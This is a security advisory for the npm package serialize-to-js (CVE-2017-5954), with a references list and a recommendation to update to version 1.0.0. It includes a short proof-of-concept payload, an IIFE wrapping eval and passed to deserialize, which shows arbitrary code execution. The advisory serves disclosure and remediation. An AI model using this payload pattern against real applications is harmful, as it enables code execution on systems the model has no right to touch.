Affected versions of serialize-to-js may be vulnerable to arbitrary code execution through an Immediately Invoked Function Expression (IIFE).

Proof of Concept

var payload = "{e: (function(){ eval('console.log(`exploited`)') })() }"
var serialize = require('serialize-to-js');
serialize.deserialize(payload);

Recommendation

Update to version 1.0.0, or later, and review this disclaimer from the author.

References

• https://nvd.nist.gov/vuln/detail/CVE-2017-5954
• GHSA-mm62-wxc8-cf7m
• https://www.npmjs.com/advisories/313
• https://www.npmjs.com/package/serialize-to-js#deserialize
• commenthol/serialize-to-js#1
• https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/
• http://www.securityfocus.com/bid/96223
• commenthol/serialize-to-js@1cd4339